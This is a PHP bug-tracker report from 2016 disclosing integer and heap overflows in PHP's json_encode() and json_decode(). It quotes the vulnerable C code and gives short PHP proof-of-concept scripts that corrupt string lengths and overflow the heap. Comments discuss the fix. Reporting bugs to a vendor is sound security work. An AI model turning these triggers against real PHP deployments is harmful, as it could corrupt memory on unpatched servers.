|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-05-27 16:05 UTC] taoguangchen at icloud dot com
Description:
------------
Integer Overflow in json_encode():
```
static void json_escape_string(smart_str *buf, char *s, int len, int options TSRMLS_DC) /* {{{ */
{
...
while (pos < len)
{
us = (options & PHP_JSON_UNESCAPED_UNICODE) ? s[pos++] : utf16[pos++];
switch (us)
{
case '"':
if (options & PHP_JSON_HEX_QUOT) {
smart_str_appendl(buf, "\\u0022", 6);
...
static PHP_FUNCTION(json_encode)
{
...
ZVAL_STRINGL(return_value, buf.c, buf.len, 1);
```
It is possible to create a corrupted string-typed ZVAL with negative value length via json_escape_string().
PoC:
```
<?php
ini_set('memory_limit', -1);
$str = str_repeat('"', 0xffffffff/6);
$str = json_encode($str, JSON_HEX_QUOT);
var_dump(strlen($str));
?>
```
Integer Overflow/Heap Overflow in json_decode()/json_utf8_to_utf16()
```
PHP_JSON_API void php_json_decode_ex(zval *return_value, char *str, int str_len, int options, long depth TSRMLS_DC) /* {{{ */
{
int utf16_len;
zval *z;
unsigned short *utf16;
JSON_parser jp;
utf16 = (unsigned short *) safe_emalloc((str_len+1), sizeof(unsigned short), 1);
utf16_len = json_utf8_to_utf16(utf16, str, str_len);
```
When `str_len` is -1, `utf16` will be allocated 0x10 size.
```
static int json_utf8_to_utf16(unsigned short *utf16, char utf8[], int len) /* {{{ */
{
size_t pos = 0, us;
int j, status;
if (utf16) {
/* really convert the utf8 string */
for (j=0 ; pos < len ; j++) {
us = php_next_utf8_char((const unsigned char *)utf8, len, &pos, &status);
...
utf16[j] = (unsigned short)us;
}
}
```
However `pos` is defined as size_t, thus produce signed comparison issue, `len` will be converted into size_t, that results in heap overflow.
PoC:
```
<?php
ini_set('memory_limit', -1);
$str = str_repeat('"', 0xffffffff/6).'A';
$str = json_encode($str, JSON_HEX_QUOT);
$str = json_decode($str);
?>
```
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Mon Oct 27 13:00:01 2025 UTC |
the patch looks like OK for json_encode(). ``` static PHP_FUNCTION(json_decode) { char *str; int str_len; ... if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|bll", &str, &str_len, &assoc, &depth, &options) == FAILURE) { return; } ... php_json_decode_ex(return_value, str, str_len, options, depth TSRMLS_CC); } ``` json_decode() dose not check `str_len`, so set `str_len` into -1 is possible via a corrupted string-typed ZVAL.@stas: I think should be (in your gist) - if (UNEXPECTED((d)->a > INT_MAX)) { \ + if (UNEXPECTED((d)->a >= INT_MAX)) { \ As SMART_STR_DO_REALLOC use (d)->a + 1In this bug, create a string with -1 as length via json_encode(): ``` <?php ini_set('memory_limit', -1); $str = str_repeat('"', 0xffffffff/6).'A'; $str = json_encode($str, JSON_HEX_QUOT); var_dump(strlen($str)); ?> ``` Of course, you can say that it is not possible to input a string with negative value length directly, but it is possible via addslashes()/addcslashes() or other functions.